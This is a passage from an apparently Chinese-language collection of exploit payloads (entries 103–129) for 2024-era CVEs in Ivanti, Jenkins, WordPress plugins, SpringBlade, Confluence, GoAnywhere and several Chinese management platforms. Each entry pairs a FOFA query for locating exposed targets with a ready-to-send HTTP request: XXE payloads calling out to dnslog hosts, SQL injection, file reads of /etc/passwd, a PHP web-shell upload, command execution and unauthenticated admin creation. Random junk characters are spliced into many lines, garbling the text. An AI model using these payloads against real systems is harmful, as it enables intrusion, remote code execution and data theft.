URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
! O' R1 l9 h( e" y% g) lHost: 192.168.40.130:111
. B8 L3 b& S- J5 g, u& M( {( DUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
/ c& O; |) y% b! |8 lConnection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
: n* H; h- v% F% t* U  z. JAccept-Encoding: gzip
+ r0 Z  k3 n2 B, _
# D3 p$ _, ?6 |9 w/ r" C1 xSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
% r4 _3 ~0 Z- y
5 }% o) @6 F0 r
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
( j3 t, `# C% Q4 i/ x6 D+ p% {1 k
7 r" O( u% Z, W  F) n
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
FOFA：title="TOTOLINK"
! J: |) D+ {# NPOST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
+ T: F: E8 h5 O1 CUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
3 w; V) Y% z/ c- L; _0 s; B4 hContent-Type: application/x-www-form-urlencoded:charset=UTF-8
+ p6 g# h) J# q+ {5 r, L6 Q" iOrigin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close

  m. }4 C* u& b$ y; ]{
% I/ x* |. C' G  Q9 A, q"topicurl":"getSysStatusCfg",
, l9 g& q/ P/ M8 W"token":""
1 E  @: l8 p. @$ _: l' ]}
$ M9 }' n- n- F* E
105. SpringBlade v3.2.0 export-user SQL 注入
3 q$ I! s! I! G1 j# a3 e( @FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
7 F4 O; }5 ~+ K7 _! t5 Y3 s
/ I2 ]. V6 ~4 o' v" g& F0 {) M106. SpringBlade dict-biz/list SQL 注入
2 X) k: e8 u" j% e/ T5 rFOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
0 u) `% U1 ^2 x9 ^Host: your-ip
0 l, B: T8 n$ K' s9 @7 l. IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! j9 ^" e. ?) [. SBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
8 T8 z% A. C2 E' \! _6 RAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

3 s6 Y" S* m* h: @) n" i7 B; w
107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
9 x! x, F5 D- [Host: your-ip
) h6 P7 k6 A9 e* V% _! RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close
( O* U. k9 j  k& h$ y9 n

108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
) P3 ?: R8 z; R# u2 ~9 f. FHost: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
3 `. g, |4 ?" i3 i) G# SAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
1 m+ X7 ~3 P! T1 A
6 l% I% H: M. ?
% Z' z5 O7 A+ [* A9 @109. Jenkins CLI 任意文件读取
. v2 @+ }& M# `& a2 uCVE-2024-23897
FOFA：header="X-Jenkins"
6 z# e$ l* i# m5 d6 l; ePOST /cli?remoting=false HTTP/1.1
Host:
Content-type: application/octet-stream
1 F9 @! C7 j' @- xSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
1 X% ~9 I- V$ s' N6 P& C) OConnection: keep-alive
Content-Length: 163
; |/ |, ~. n" L
0 @: l2 c7 ~5 @5 D# Zb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
8 a! R4 g1 a3 R: s& h0 V
% J% |/ @6 \$ A3 c. {5 {
POST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
( v3 a0 F0 ?% ^# S3 d1 W- TContent-Type: application/x-www-form-urlencoded
Content-Length: 0
3 K. v5 R4 E8 @
% e1 S$ }; W' X+ H9 p( w
) h/ u' w6 _: l5 ^+ S' _% q( m+ w$ _ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# s3 x  x8 i5 j; Y% U' m0 Bjava -jar jenkins-cli.jar help
. k: U6 x8 H  f7 I4 v1 V) A[COMMAND]
. K# N  Y, h8 s! N* bLists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
+ N! S9 A) H4 j1 o4 L& B

; Q( x) U( s6 ^9 c0 p110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
+ r5 e! f% g- w2 b: y, uFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
4 h! P8 a1 c- T% Z+ G( JAccept: */*
( C. C. T9 T6 I2 y; ]  EAccept-Language: en
0 D" R* K( ~; L: u4 PAccept-Encoding: gzip
7 V! A0 n9 V5 |1 Q5 _8 v

111. WordPress Plugin HTML5 Video Player SQL注入
6 }4 s  r$ z: gCVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
: }9 m/ c. f/ f  s/ i2 XHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
0 p8 a7 B" @3 o0 I5 ]Accept-Encoding: gzip


$ \. {# N( Y: `/ U1 \7 a  p112. WordPress Plugin NotificationX SQL 注入
) P+ G+ [* a1 Q4 GCVE-2024-1698
) ^! l" {! G# l; W8 `* ZFOFA：body="/wp-content/plugins/notificationx"
" l: T3 Z' M( x  tPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
- L. ^& l) _2 h! f$ t; n" KGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
( D5 _: w/ ?# d2 m  DHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Accept: */*
3 d3 Y7 _. H5 L% W+ [. b3 ]! |" W& xAccept-Language: en
Accept-Encoding: gzip
1 r* ^! v: {: p
/ p( V- N0 C# O9 d
. N; f& Q8 U- C4 [  e! }114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
5 Q$ x5 H4 Z! x6 \* GHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
7 F( u& n7 `) q6 i2 n  s/ {' d# k2 hAccept-Encoding: gzip, deflate
0 J. a; z0 D9 W  [5 AConnection: close
4 G/ o8 L1 d1 k2 {! g
. B- c9 C; C0 Q& p" n% U
115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
" X/ U( J8 Y$ I* I- Y. HFOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
1 L; W. |2 y( q& @GET / HTTP/1.1
Host: x.x.x.x
! r- Y) `4 V* BUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip
0 o1 L( w4 [- U4 |5 f
( n! O% W4 b6 I4 K( r2 H; T) g
' M3 v6 p5 |- h8 J; J6 C6 V2 k1 A- H第二步替换nonce值，执行命令
/ M+ M* C( E, dPOST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
) C9 E, ~! U1 F6 y6 s% }* NConnection: close
) O* [* i" O1 S9 O) {- ^( wContent-Length: 356
Content-Type: application/json
: S3 W( ^& w( z( hAccept-Encoding: gzip
: ^8 C, u# F7 t/ @  B
{
"postId": "1",
  "nonce": "第一步获得的值",
& x$ m/ u. r( F& w  "element": {
( N0 W/ ^+ P, l  G( d; ]    "name": "container",
    "settings": {
' t, e- R/ S6 ~4 i6 \+ V) E      "hasLoop": "true",
      "query": {
! c6 k4 S% f7 ^' N; o        "useQueryEditor": true,
$ g1 `: j1 p0 ~        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
% M) B( u1 C7 _, y5 Y2 e        "objectType": "post"
      }
    }
' @3 V6 v: j' `0 Y  }
}
/ b$ z4 }( Z8 U7 b% {: [& b( ?

116. wordpress js-support-ticket文件上传
8 P( k9 A* [4 I% k' tFOFA：body="wp-content/plugins/js-support-ticket"
) e$ Y: W- j! Z1 W4 C1 ^POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
. y& V6 S5 {7 U& s  FHost:
" `# z, n$ G5 G0 W9 CContent-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
- B3 c( A$ s" J% j. b
, ?1 K( v  l5 `8 P$ A* O6 s. y----------767099171
3 x$ v7 e: |9 q7 Y+ L  dContent-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
4 \5 y9 r. K7 E# n----------767099171--

# T3 B# l3 g2 L/ u7 H' c7 H
$ G$ Z, G' F4 B3 ~  l117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
# s* G* }$ D, v( M. a% z1 Z2 jHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' w4 L' C6 v% ?" P. JAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) b+ Q% L2 d2 B2 o: jAccept-Encoding: gzip, deflate, br
Connection: close
$ W/ f' ~% e" }' S8 hUpgrade-Insecure-Requests: 1

% A+ |1 F; x- x* @& ]
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
; W: R% ^- G' @CVE-2024-0939
FOFA：title="Smart管理平台"
, h0 Q- `" P# R( _/ BPOST /Tool/uploadfile.php? HTTP/1.1
0 G; Q7 L$ U6 mHost: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
5 W4 r4 m9 M: [0 jContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
# A0 X; I& s: r* Q1 M# VContent-Length: 405
Origin: https://192.168.40.130:8443
  _# K0 r7 K$ E. a. ~Referer: https://192.168.40.130:8443/Tool/uploadfile.php
2 }6 b0 y- @# WUpgrade-Insecure-Requests: 1
! N6 x5 ]; n; v3 p$ U7 QSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
0 f: J1 N  u! t* b  C& u- G# K2 j; uSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
% V& `& o0 S  p; m1 W& MTe: trailers
Connection: close

: d+ [' |( x+ y3 y-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

( h+ H% ?8 f, r) u1 W( U<?php
  W* H9 k' v. U6 o/ _9 Osystem($_POST["passwd"]);
' r+ d1 A2 D8 j, q2 L?>
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"
* m  a( U& w( l7 S
6 u. P, c; A/ j* x/home/src.php
-----------------------------13979701222747646634037182887--

- O. r! A; a; ?, F, ?( W) ^* a# U
访问/home/src.php

4 N9 }- q( ?' E- `5 Y) R( V0 _7 {119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
* u( n' @2 d. T( b1 j2 o2 KPOST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
$ Z" I( Q' ^- v; U* N! OReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
) |! }; |& D0 H4 I7 U  y5 uSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
* }; s8 e9 ?- f; R3 i+ w9 G5 p; U7 YX-Forwarded-For: 1.1.1.1
/ n6 o2 E/ h4 Z: z1 ^9 `6 o4 y" MX-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
0 e. X5 F* v8 f6 gX-Remote-Addr: 1.1.1.1
Te: trailers
0 V! V/ i7 I* G  c  l5 n6 a" {Connection: close

2 K& }4 H" X, {* a, D' Isrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456

. |1 Q$ ~) P9 N5 a5 P
- A/ g5 G/ c: T& u$ W# h+ {120. 北京百绰智能S40管理平台导入web.php任意文件上传
  i$ q4 ^# Y2 N' _7 _: sCVE-2024-1253
FOFA：title="Smart管理平台"
+ P: H+ p9 j: Q; M( b0 CPOST /useratte/web.php? HTTP/1.1
0 i% l0 n$ `: L9 n/ w8 @  f" YHost: ip:port
, o5 c9 `2 X. h  T' _6 tCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
" C" q% G/ a) K  I+ ZUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( ], E( I+ U- T7 O+ {Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
9 a# |! U6 Q/ i% V; v: dOrigin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
0 H# X, N, H: xUpgrade-Insecure-Requests: 1
; Z4 A; k' U/ _Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
) S& O) x5 q: I1 ?6 j2 r5 S; W* lSec-Fetch-Site: same-origin
6 M9 I5 g# _+ f- jSec-Fetch-User: ?1
Te: trailers
Connection: close
5 j: l4 M" m8 Y% i# L$ d: ~
-----------------------------42328904123665875270630079328
6 r; P) G1 V1 T2 J+ g9 YContent-Disposition: form-data; name="file_upload"; filename="2.php"
5 Z9 E0 U8 c5 h4 M) m+ p" r: AContent-Type: application/octet-stream

; h0 G0 {+ \  {5 d$ M$ g<?php phpinfo()?>
% k3 @5 W! i6 |! v& E-----------------------------42328904123665875270630079328
$ F- u# i. P+ O, p6 Z4 s0 zContent-Disposition: form-data; name="id_type"

/ m5 y) H/ @9 ]7 j6 a3 Y1 m* A1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

9 J% r5 B. v# m, {4 W1_radhttp
-----------------------------42328904123665875270630079328
1 z1 r" U7 v1 Z& W4 [# |, h" P/ p7 v) kContent-Disposition: form-data; name="mode"
( L; z& K+ S3 ?  n; d6 D" l
* \! j9 d" p& G* |# n. Wimport
-----------------------------42328904123665875270630079328
  x0 t: j% V- M$ o1 C' U

  R6 \2 m8 a; |2 [文件路径/upload/2.php
; C; K7 x8 G8 B1 W1 ]. J
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
) U; Q* J3 w; L5 N8 ]3 rCVE-2024-1918
FOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
; n' Q; S8 v! p+ f' ~& FCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
7 c- i) @$ w% y" o$ ^' g# s2 xUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
. c3 j* n" p& v7 v4 Y4 S# PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, ?& [# k) F  `: k0 H% y9 |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
3 U6 L# ^! a+ L& T% M7 R: f/ sOrigin: https://192.168.40.130:8443
; {/ w7 W- m- @5 oUpgrade-Insecure-Requests: 1
7 b, T  I5 w9 I) R- ZSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
  t$ a% L9 Z  Q5 eSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
/ T# ]3 v6 Z: y8 j( ~Connection: close

% _# P8 s. K+ I7 O-----------------------------42328904123665875270630079328
4 e8 m+ s5 e6 N2 nContent-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

5 _* a$ R- y2 Z- ]1 Y) M$ f<?php phpinfo();?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
2 i1 S; x: _7 M+ ]; N# Q
1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

  N' K) w' \% c( E& O; a/ b$ K1_radhttp
-----------------------------42328904123665875270630079328
+ f  O5 x' b. n: J, }Content-Disposition: form-data; name="hidwel"

set
  t. q! t3 l" b% T-----------------------------42328904123665875270630079328
& R, f! s4 p# K7 M

boot/web/upload/weblogo/1.php
- `9 D4 @) `5 N- F5 r
122. 北京百绰智能s200管理平台/importexport.php sql注入
8 g/ c; m' i" ICVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
4 L4 B, o. J: M. oHost: x.x.x.x
5 S, ]( o( z8 }9 g4 E. X; M6 o4 y# a, QCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
: s1 Z1 c$ ^4 S  fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" F& Q; c) E% G: z! ?9 g; rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
0 |0 q) P+ Y" z  A) ~" CUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
; I  w& _. r. w/ B7 F1 H, fSec-Fetch-Site: none
/ d, G6 z; E$ K9 K6 O% F. GSec-Fetch-User: ?1
Te: trailers
' B9 U- N# _& QConnection: close
9 g6 w! v; r' _, e! y
" r' P+ w9 U: N
1 ?  t# M) h$ K+ K/ g123. Atlassian Confluence 模板注入代码执行
# b  n+ J# o2 c2 s8 \1 RFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
7 Y0 I- `. J4 Q- \7 d  XPOST /template/aui/text-inline.vm HTTP/1.1
. d9 ?2 h5 ?' \8 E% Q0 h- V9 x# BHost: localhost:8090
Accept-Encoding: gzip, deflate, br
* G% \& f1 Z  f- O7 X4 J" B9 EAccept: */*
7 d# h8 p7 g0 p. [3 A' q7 R: JAccept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
3 Z2 w* y9 X" `6 y% _/ \Connection: close
7 L. v9 U: e( e- M1 s) Z6 LContent-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


3 v6 }, H$ H) L3 c4 \' S- E/ k9 k124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
# w9 J4 v! B( d1 b3 a3 SHost: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
# s# Q- @- W/ v3 x, x: LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
- `2 S( S6 `- a. m9 ]Content-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>

$ C% @$ @( a. g+ R, q+ D
http://192.168.40.130:8282/Scripts/abcgcg.aspx
3 i7 a. I7 ^2 q% m( c; I. F' l
3 X3 Y* i: e, v3 ]125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
) r. K% v* Z. u: J) g  }# o/ nFOFA：icon_hash="-82958153"
+ X$ Q+ o* X: zhttps://github.com/watchtowrlabs ... bypass-add-user-poc
3 E2 o# B9 R2 n. w2 t( o0 s
* \% ^! S! p! e: E, K! B
使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
: ~5 H% o; \, N3 O+ ~' z
8 [- Q: u: Z' M# U# @
创建好用户后直接登录后台，可以执行系统命令。
' G! w: F9 {" L) o; A
126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
. I4 M. C4 Z# R1 @- ^GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
. o; G! E1 S0 P1 i' _, z* H
( I& q! L* E! G4 o
127. 广联达Linkworks DataExchange.ashx XXE
' I6 |9 N" t2 o# X8 NFOFA：body="Services/Identification/login.ashx"
% y! o3 t  Z" G2 F8 k* u' P. bPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
" m, _9 a9 Z$ aContent-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& v, Q8 \! H8 E% w4 }- a! P1 tAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
" z2 M1 k7 b; u& G. EConnection: close
+ v) l6 @. k) h: R: y/ e4 jContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
! K- K: G5 r" LPurpose: prefetch
0 G& ~6 ?- |" e  d& R; u' Y4 h* bSec-Purpose: prefetch;prerender
, U7 f8 k7 X+ M  {' U/ e2 M) K8 p
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

2 X" ]% w" ~3 D1 s0 z+ wBIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
Content-Type: text/plain
. @0 b* y- `& I# c
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
; T7 h+ B  @0 K- V* x<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
; |. r$ x* e% u$ b]
3 y/ f& [) ?* D>
<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--

( h1 `7 k- C3 ~$ Y+ `" L* G
' P/ w! `6 V( E- l3 c
128. Adobe ColdFusion 反序列化
CVE-2023-38203
# ~( X: s' @7 |* m* H5 mAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
4 `- d, C+ o1 d- X* e6 GPAYLOAD

129. Adobe ColdFusion 任意文件读取
% s: d% H0 e* ~CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
3 [+ B- w; i% u" ]0 c$ c第一步，获取uuid
' r" D# e" A: SGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
